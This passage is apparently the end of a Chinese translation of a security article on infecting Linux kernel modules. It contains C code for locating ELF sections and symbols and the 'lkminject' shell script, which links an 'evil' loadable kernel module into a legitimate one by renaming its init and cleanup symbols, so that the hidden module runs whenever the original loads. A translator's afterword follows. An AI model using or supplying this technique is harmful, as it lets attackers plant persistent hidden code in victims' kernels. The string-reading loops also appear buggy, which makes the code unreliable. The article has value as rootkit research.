  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize),
            SEEK_SET) == -1)
```

```
    FATAL ("fseek");

  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
    FATAL ("Sections header corrupted");

  return 0;
}


int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section,
                     Elf32_Shdr *shdr)
{
  int i;
  char name[255];
  Elf32_Shdr shstrtable;

  /*
   * Get the section header string table
   */
  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);

  memset (name, 0, sizeof (name));

  for (i=0; i<ehdr->e_shnum; i++)
  {
    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize),
              SEEK_SET) == -1)
      FATAL ("fseek");

    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
      FATAL ("Sections header corrupted");

    ElfGetSectionName (fd, shdr->sh_name, &shstrtable,
                   name, sizeof (name));
    if (!strcmp (name, section))
    {
      return 0;
    }
  }
  return -1;
}


int ElfGetSectionName (FILE *fd, Elf32_Word sh_name,
```

```
   Elf32_Shdr *shstrtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return 0;
}


Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name,
   Elf32_Shdr *strtable, char *res, size_t len)
{
  size_t i = 0;

  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
    FATAL ("fseek");

  while ((i < len) || *res == '\0')
  {
    *res = fgetc (fd);
    i++;
    res++;
  }

  return (strtable->sh_offset + sym_name);
}
/* EOF */
```

Lkminject

```
#!/bin/sh
#
# lkminject by truff (truff@projet7.org)
#
# Injects a Linux lkm into another one.
```

```
#
# Usage:
# ./lkminfect.sh original_lkm.o evil_lkm.c
#
# Notes:
# You have to modify evil_lkm.c as explained bellow:
# In the init_module code, you have to insert this line, just after
# variables init:
# dumm_module ();
#
# In the cleanup_module code, you have to insert this line, just after
# variables init:
# dummcle_module ();
#
#     http://www.projet7.org               - Security Researchs -
###############################################################################


sed -e s/init_module/evil_module/ $2 > tmp
mv tmp $2

sed -e s/cleanup_module/evclean_module/ $2 > tmp
mv tmp $2

# Replace the following line with the compilation line for your evil lkm
# if needed.
make

ld -r $1 $(basename $2 .c).o -o evil.o

./elfstrchange evil.o init_module dumm_module
./elfstrchange evil.o evil_module init_module
./elfstrchange evil.o cleanup_module dummcle_module
./elfstrchange evil.o evclean_module cleanup_module

mv evil.o $1
rm elfstrchange
```

译后感

译者非常感叹作者对类 Unix 系统的熟悉，本文几乎覆盖了当前流行的所有主流类 Unix 系统。译者本人只有 Linux，FreeBSD 与 Solaris 的经验，对其他 Unix OS 毫无涉猎，不知是否有误导之嫌。

不知国外的黑客们是特别勤奋呢还是不太需要为稻粱谋，可以有大量时间精力在如此广泛平台上着力，真是让我辈汗颜。

译者：Walter Zhou

2008-1-9，晚于浦东横沔，第一稿
2008-1-13，晚于浦东周浦，第二稿